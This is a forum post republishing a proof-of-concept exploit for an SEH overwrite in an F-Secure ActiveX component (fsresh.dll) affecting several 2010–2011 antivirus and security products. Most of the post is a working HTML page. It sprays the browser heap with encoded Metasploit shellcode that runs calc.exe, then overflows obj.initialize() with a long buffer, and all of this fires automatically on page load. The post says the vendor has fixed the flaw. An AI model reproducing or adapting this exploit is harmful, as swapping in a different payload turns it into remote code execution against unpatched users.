• F-Secure Multiple Products ActiveX SEH Overwrite Vulnerability(Heap Spray)

    This is SEH overwrite Vulnerability Heap Spray used to execute code.
    Vendor reported and vulnerability fixed

    Advisory : FSC-2011-3: SEH Overwrite Vulnerability in DLL file


    Vulnerability Details :
    CompanyName F-Secure Corporation
    FileDescription F-Secure Gadget resource handler
    FileVersion 1.00.192
    InternalName fsresh.dll
    OriginalFileName fsresh.dll


    Code:
     
    <html>
     <head>
      <title>F-Secure Multiple SEH Overwrite Vulnerability(Heap Sprays)</title>
      <script language="JavaScript" defer>
        function Check() {
          
        
     
    // win32_exec -  EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com
    var shellcode1 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
                              "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +
                              "%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" +
                              "%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" +
                              "%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
                              "%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" +
                              "%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" +
                              "%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" +
                              "%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" +
                              "%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
                              "%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" +
                              "%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" +
                              "%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" +
                              "%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" +
                              "%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
                              "%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" +
                              "%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" +
                              "%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" +
                              "%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" +
                              "%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
                              "%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" +
                              "%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" +
                              "%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" +
                              "%u314e%u7475%u7038%u7765%u4370");
     
     
        var bigblock = unescape("%u0A0A%u0A0A");
        var headersize = 20;
        var slackspace = headersize + shellcode1.length;
        while (bigblock.length < slackspace) bigblock += bigblock;
        var fillblock = bigblock.substring(0,slackspace);
        var block = bigblock.substring(0,bigblock.length - slackspace);
        while (block.length + slackspace < 0x40000) block = block + block + fillblock;
     
        var memory = new Array();
        for (i = 0; i < 330; i++){ memory[i] = block + shellcode1 }
         
        var buf = '';
        var arg1 ='Anything';
        while (buf.length < 1008) buf = buf + unescape("%0A%0A");
             
        obj.initialize(arg1 ,buf);
    }  
       </script>
       
       
    </head>
     <body onload="JavaScript: return Check();">
        <object classid="clsid:147B3695-4308-41D9-B1A4-770B87BAD342" id="obj" size="0" width="0">
      
          Title : F-Secure Multiple Product SEH Overwrite Vulnerability(Heap Spray)
          Affected Products :   <ul> <li> F-Secure Anti-Virus 2011</li>
                         <li> F-Secure Anti-Virus 2010</li>
                         <li> F-Secure Internet Security 2011</li>
                         <li> F-Secure Internet Security 2010</li>
                         <li>Solutions based on F-Secure Protection Service for Consumers version 9</li>
                         <li>Solutions based on F-Secure Protection Service for Business - Workstation security version 9 </li>
                    </ul>
          Author : 41.w4r10r<br>
          Special Thanks: B0nd , Wipu, Anarky, Godwin_Austin , Neo, The_Empty, FB1H2S, W3bD3vil, d4rkd4wn, d4rk357 and garage4hackers family<br>
          Contact Us: <a href="http://garage4hacker.com">Garage4hackers</a><br>
          
          
                
        </object>
     
     </body>
    </html>
    This article was originally published in forum thread: F-Secure Multiple Products ActiveX SEH Overwrite Vulnerability(Heap Spray) started by 41.w4r10r View original post
    Comments 1 Comment
    1. micr0's Avatar
      micr0 -
      oh...great...keep it UP
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